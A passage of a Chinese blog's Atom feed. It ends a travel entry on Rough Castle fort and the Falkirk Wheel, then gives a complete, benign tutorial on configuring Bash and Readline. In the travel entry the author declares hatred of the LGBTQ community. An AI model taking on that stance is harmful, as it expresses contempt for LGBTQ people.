&lt;p&gt;我照这张图是因为那告示牌很有趣：英文警告语下面是拉丁语翻译，最下面的小字写着“Rough
Castle&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的士兵以拉丁语接收命令&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;——仿佛一千八百年后的今天，仍然有脱离大部队的罗马士兵回到这座要塞遗迹。如果真是这样，想必这士兵是携带着压缩木星制成的炸弹与宇宙怪兽搏斗后回到这里的吧。&lt;&#x2F;p&gt;
&lt;p&gt;Lilia&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是拉丁语，意为百合，实为紧密排列的土坑。土坑内部有尖锐木桩，以此来防御入侵者。这片区域怎么看怎么像打地鼠游乐场。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220918_145229.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220918_145229.aca15fb4a482a1fb.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220918_145229.e4958f4e98ddbc97.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220918_145229.ed8908ba326849dd.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220918_145229.e4958f4e98ddbc97.webp&quot;
	alt=&quot;Lilia&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;下图可以看到一条小路。小路两边的深坑是“护城河”的两个终点。小路前方，也就是图中右上部分曾是要塞。如果难以想象的话请看下面的假想图。我是站在“YOU
ARE HERE”不远拍的——根据假想图，我所照的地方就曾是安东尼长城。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220918_145107.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220918_145107.49918f4530421ad6.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220918_145107.fec7b9305990aec8.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220918_145107.4e00808aa227f3c7.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220918_145107.fec7b9305990aec8.webp&quot;
	alt=&quot;一片看不出二世纪时有长城和要塞的草地&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220918_145036.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220918_145036.c07656e13694ec68.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220918_145036.d3d937673f00e337.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220918_145036.213760c5fa78f479.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220918_145036.d3d937673f00e337.webp&quot;
	alt=&quot;要塞假想图&quot;
	
	
	height=&quot;1769&quot;
	width=&quot;3785&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;根据讲解牌，这里挖出了不少文物，都送去位于爱丁堡的国家博物馆了。我感到无语，我从爱丁堡来到这里，讲解牌让我去爱丁堡看这里的文物。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;返程&quot;&gt;返程&lt;&#x2F;h2&gt;
&lt;p&gt;Falkirk
Wheel&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;附近有个有趣的桥，靠人力推动分别让船只和行人过河。&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;onedrive.live.com&#x2F;?authkey=%21AO9C4%2Db1kjZbyUE&amp;amp;cid=C71C65A26DDCE6F9&amp;amp;id=C71C65A26DDCE6F9%21182840&amp;amp;parId=C71C65A26DDCE6F9%21182825&amp;amp;o=OneUp&quot;&gt;切换形态的视频&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Waverley&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;看到了彩虹火车。我讨厌&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;LGBTQQIP2SAA&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;群体，但是我喜欢彩虹。LGBTQQIP2SAA&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的宣传让彩虹外皮的事物多了起来，从这点看我很感谢他们。不过一想到如今彩虹已经被他们绑定到自己身上，我又对他们更加反感了。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220918_170717.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220918_170717.c295472c91d491ed.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220918_170717.a58f929bb087b64e.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220918_170717.052ef9757cab54af.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220918_170717.a58f929bb087b64e.webp&quot;
	alt=&quot;ScotRail的彩虹车&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;再附上一张不久前车站附近真正的彩虹吧。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220907_155238.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_155238.8a85907d1d4344ac.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_155238.0e23d771adb6a79a.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_155238.48fd5d4bedc36242.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_155238.0e23d771adb6a79a.webp&quot;
	alt=&quot;斯科特纪念塔与远处的彩虹&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;



      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;falkirk-wheel
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;falkirk-wheel&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>友好的交互式Bash</title>
    <published>2022-09-15T22:06:59+01:00</published>
    <updated>2023-04-19T21:23:27+01:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/friendly-interactive-bash/" type="text/html" />
    <id>https://emptystack.top/friendly-interactive-bash/</id>
    <content type="html">
      &lt;p&gt;我是一名&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;fish&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;用户，生命中最痛苦的时刻就是被迫使用一台只有（TENEX）C
Shell、Bash、KornShell、Z
Shell&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的电脑而没有安装软件的权限。万幸的是，简单配置过后的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Bash&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就变得可以使用了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;补全&quot;&gt;补全&lt;&#x2F;h2&gt;
&lt;p&gt;Bash&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的默认补全功能有两个问题：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;匹配文件时大小写敏感；&lt;&#x2F;li&gt;
&lt;li&gt;有多个候选时补全完全不起作用。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;Bash&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的编辑功能是由&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Readline&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;库实现的。在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Readline&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的配置文件&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;.inputrc&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中加入下面几行可以解决上述问题。&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;set&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; completion-ignore-case On&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;set&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; show-all-if-ambiguous On&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;set&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; menu-complete-display-prefix On&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;TAB:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; menu-complete&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;&amp;quot;\e[Z&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; menu-complete-backward&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;set&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; colored-stats On&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;配置中&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&quot;\e[Z&quot;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Readline&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Shift-Tab&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;键。至于每个选项的具体解释，可以用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;man readline&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;查看手册，或者搜索&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;tiswww.case.edu&#x2F;php&#x2F;chet&#x2F;readline&#x2F;rluserman.html#SEC10&quot;&gt;在线手册&lt;&#x2F;a&gt;。总之这段配置的效果是：补全时无视大小写、Tab&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;键与&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Shift-Tab&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;键正反向循环候选列表。另外对候选文件开启高亮，区分不同文件类型。&lt;&#x2F;p&gt;
&lt;p&gt;fish&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;在补全文件时是模糊匹配的，这一点不知道如何在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Bash&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里实现。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;某条命令的历史&quot;&gt;某条命令的历史&lt;&#x2F;h2&gt;
&lt;p&gt;如果我想重复某条命令的历史，在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;fish&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中只要输入那条命令然后一直按上箭头键就可以了。在原味&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Bash&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里，则要使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Ctrl-r&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;开启反向搜索、输入命令、重复按下&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Ctrl-r&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;组合键。万幸的是，Readline&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;仍然可以拯救我们：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;&amp;quot;\e[A&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; history-search-backward&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;&amp;quot;\e[B&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; history-search-forward&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&quot;\e[A&quot;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;与&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&quot;\e[B&quot;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分别代表上下箭头。这下输入&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;export&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;再按上箭头，就只会显示以&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;export&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;开头的历史了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;更省按键的移动&quot;&gt;更省按键的移动&lt;&#x2F;h2&gt;
&lt;p&gt;如果我直接往终端里输入文件路径，那我&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;100%&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是要切换到那里。这一点，fish&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;天生就懂，而&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Bash&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;在执行&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;shopt -s autocd&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;后也可以懂。&lt;&#x2F;p&gt;
&lt;p&gt;仅仅省掉&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;cd&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;还不够：在返回多个上级目录时，重复输入&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;..&#x2F;..&#x2F;..&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;仍然让我沮丧。既然&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;.&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是当前目录，&lt;code&gt;..&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是上一级，那么输入&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;...&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;应该自动展开为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;..&#x2F;..&lt;&#x2F;code&gt;，以此类推。在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;fish&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中可以给句号键绑定一个&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;nickeb96&#x2F;puffer-fish&#x2F;blob&#x2F;master&#x2F;functions&#x2F;_puffer_fish_expand_dots.fish&quot;&gt;能修改当前行的函数&lt;&#x2F;a&gt;，Bash&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;也可以——只不过要直接操作表示当前行和位置的变量。&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;expand-dots&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;() {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; [[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; $READLINE_LINE&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; = *&lt;&#x2F;span&gt;&lt;span&gt;.. &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]];&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; then&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;        READLINE_LINE&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;$READLINE_LINE&#x2F;..&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;        READLINE_POINT&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=$((&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;READLINE_POINT&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    else&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;        READLINE_LINE&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;$READLINE_LINE.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;        READLINE_POINT&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=$((&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;READLINE_POINT&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    fi&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;bind&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; -x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&amp;quot;.&amp;quot;: expand-dots&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;到这里为止，在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Bash&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里四处移动对我来说已经足够方便了。如果还想要更省按键的移动，可以用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rupa&#x2F;z&quot;&gt;z&lt;&#x2F;a&gt;——我是不喜欢&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;source&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;别人写的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;shell
script。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;其他功能&quot;&gt;其他功能&lt;&#x2F;h2&gt;
&lt;p&gt;除去&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;shopt -s autocd&lt;&#x2F;code&gt;，我的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;.bashrc&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里还有如下内容：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;shopt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; -s&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; checkjobs globstar&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;set&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; -o&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; noclobber&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;checkjobs：在退出时如果仍有后台作业，Bash&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;会让你再斟酌下要不要退出。&lt;&#x2F;li&gt;
&lt;li&gt;globstar：**&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;将会匹配所有文件、任意层级的子目录。&lt;&#x2F;li&gt;
&lt;li&gt;noclobber：使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&amp;gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;重定向到已有文件时会报错。如果真要清空已有文件，使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;|&amp;gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;替代&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&amp;gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;friendly-interactive-bash
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;friendly-interactive-bash&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
